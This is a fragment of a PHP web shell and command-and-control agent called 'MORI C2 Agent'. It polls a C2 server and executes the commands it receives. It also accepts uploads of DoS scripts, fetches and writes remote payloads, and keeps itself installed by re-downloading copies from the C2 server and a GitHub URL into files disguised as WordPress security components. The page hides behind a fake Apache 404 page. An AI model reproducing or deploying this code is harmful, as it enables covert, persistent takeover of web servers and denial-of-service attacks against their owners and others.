                echo json_encode(['success' => $success, 'client_id' => $client_id]);
                break;

            case 'upload_dos_py':
                // Upload dos.py file - base64 encoded
                $file_content = $input['file_content'] ?? '';
                $file_path = '/tmp/dos.py';
                if ($file_content && base64_decode($file_content, true)) {
                    $decoded = base64_decode($file_content);
                    if (file_put_contents($file_path, $decoded) !== false) {
                        @chmod($file_path, 0755);
                        echo json_encode(['success' => true, 'file' => $file_path]);
                    } else {
                        echo json_encode(['success' => false, 'error' => 'Write failed']);
                    }
                } else {
                    echo json_encode(['success' => false, 'error' => 'Invalid base64']);
                }
                break;

            case 'upload_dos_php':
                // Upload dos.php file - base64 encoded
                $file_content = $input['file_content'] ?? '';
                $file_path = 'dos.php';
                if ($file_content && base64_decode($file_content, true)) {
                    $decoded = base64_decode($file_content);
                    if (file_put_contents($file_path, $decoded) !== false) {
                        @chmod($file_path, 0755);
                        echo json_encode(['success' => true, 'file' => $file_path]);
                    } else {
                        echo json_encode(['success' => false, 'error' => 'Write failed']);
                    }
                } else {
                    echo json_encode(['success' => false, 'error' => 'Invalid base64']);
                }
                break;
                
            default:
                echo json_encode(['error' => 'Unknown action']);
        }
        exit;
    }
}

// =====================================================
// BACKGROUND AGENT MODE (CLI veya ?agent=1 ile)
// =====================================================
if (php_sapi_name() === 'cli' || isset($_GET['agent']) || isset($_GET['daemon'])) {
    // Agent modu - sayfa gösterilmez, sürekli çalışır
    $max_execution = isset($_GET['timeout']) ? (int)$_GET['timeout'] : 300;
    $sleep_interval = isset($_GET['sleep']) ? (int)$_GET['sleep'] : 5;
    
    auto_register();
    $client_id = $GLOBALS['CLIENT_ID'] ?? '';
    $c2_server = $GLOBALS['C2_SERVER'] ?? '';

    $start_time = time();
    $task_counter = 0;

    while ((time() - $start_time) < $max_execution) {
        $task = c2_get_task($c2_server, $client_id);
        
        if ($task && trim($task) && trim($task) !== 'no_task') {
            $task_counter++;
            $output = execute_command($task);
            c2_send_result($c2_server, $client_id, $task, $output);
        }
        
        if ($task_counter % 10 === 0) {
            c2_update_status($c2_server, $client_id);
        }
        
        sleep($sleep_interval);
    }
    
    if (php_sapi_name() === 'cli') {
        exit(0);
    }
    
    echo "MORI C2 Agent completed " . $task_counter . " tasks in " . (time() - $start_time) . " seconds\n";
    exit;
}

// =====================================================
// NETWORK MONITORING DAEMON (?monitor=1 mode)
// Distributed backup network'ü 30 saniyede bir kontrol et
// =====================================================
if (isset($_GET['monitor'])) {
    set_time_limit(0);
    ignore_user_abort(true);
    
    $monitor_interval = isset($_GET['interval']) ? (int)$_GET['interval'] : 30;
    $max_monitor_time = isset($_GET['max_time']) ? (int)$_GET['max_time'] : 86400; // 24 saat
    
    $start_time = time();
    $check_count = 0;
    $restore_count = 0;
    
    while ((time() - $start_time) < $max_monitor_time) {
        $check_count++;
        
        // 1. Check distributed backups
        $inventory = @file_get_contents(__DIR__ . '/.wp-security.list');
        if ($inventory) {
            $files = array_filter(array_map('trim', explode("\n", $inventory)));
            foreach ($files as $file) {
                if (strpos($file, ';') !== false || strpos($file, '#') === 0) continue; // Skip comments
                
                if (!file_exists($file) || filesize($file) < 5000) {
                    // File missing or damaged - restore
                    $payload = @file_get_contents($c2_server . '?urlver');
                    if (!$payload || strlen($payload) < 100) {
                        $payload = @file_get_contents('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/' . SHELL_FILE);
                    }
                    
                    if ($payload && strlen($payload) > 5000) {
                        @file_put_contents($file, $payload);
                        @chmod($file, 0644);
                        $restore_count++;
                    }
                }
            }
        }
        
        // 2. Execute PHP backups
        $dirs = ['/tmp', '/var/tmp', '/var/www', '/var/www/html', '/home'];
        foreach ($dirs as $dir) {
            if (is_dir($dir)) {
                @shell_exec("php '$dir/.wp-firewall.php' > /dev/null 2>&1 &");
            }
        }
        
        // 3. Check/restore main shell
        $mainFile = SHELL_PATH;
        if (!file_exists($mainFile) || filesize($mainFile) < 10000) {
            $payload = @file_get_contents($c2_server . '?urlver');
            if (!$payload) $payload = @file_get_contents('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/' . SHELL_FILE);
            if ($payload && strlen($payload) > 10000) {
                @file_put_contents($mainFile, $payload);
                $restore_count++;
            }
        }
        
        // 4. Re-deploy if missing
        if (rand(1, 100) > 90) { // Every ~10 checks
            deploy_distributed_network_backups();
        }
        
        sleep($monitor_interval);
    }
    
    // Log summary
    $summary = "Monitor: Checks=$check_count, Restores=$restore_count\n";
    @error_log($summary);
    
    if (php_sapi_name() === 'cli') {
        echo $summary;
        exit(0);
    }
    
    exit;
}

// URL UPLOAD — fetch a remote URL and save it as a local file
// Usage: ?upload=https://raw.../dos.py&filename=dos.py
if (isset($_GET['upload']) && isset($_GET['filename'])) {
    ob_end_clean();
    header('Content-Type: application/json; charset=utf-8');

    $src_url  = trim($_GET['upload']);
    $filename = trim($_GET['filename']);
    $filename = basename($filename); // strip any directory component

    if (!filter_var($src_url, FILTER_VALIDATE_URL) || !preg_match('/^https?:\/\//i', $src_url)) {
        die(json_encode(['ok' => false, 'error' => 'invalid_url']));
    }
    if ($filename === '' || strpos($filename, '..') !== false) {
        die(json_encode(['ok' => false, 'error' => 'invalid_filename']));
    }

    $content = fetch_url_content($src_url, 30);
    if ($content === false || $content === '') {
        die(json_encode(['ok' => false, 'error' => 'fetch_failed', 'url' => $src_url]));
    }

    $target  = __DIR__ . '/' . $filename;
    $written = @file_put_contents($target, $content);
    if ($written === false) {
        die(json_encode(['ok' => false, 'error' => 'write_failed', 'path' => $target]));
    }

    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    @chmod($target, in_array($ext, ['py', 'sh', 'pl', 'rb']) ? 0755 : 0644);

    die(json_encode([
        'ok'    => true,
        'file'  => $target,
        'url'   => $src_url,
        'size'  => $written,
        'bytes' => strlen($content),
    ]));
}

// .mori_queue: removed — was FILE_APPEND on every request but never read, would fill disk
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
    <title>404 Not Found</title>
</head>
<body>
    <h1>Not Found</h1>
    <p>The requested URL <?php echo htmlspecialchars($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
    <hr>
    <address>Apache Server at <?php echo htmlspecialchars($_SERVER['HTTP_HOST']); ?> Port <?php echo $_SERVER['SERVER_PORT']; ?></address>
</body>
</html>
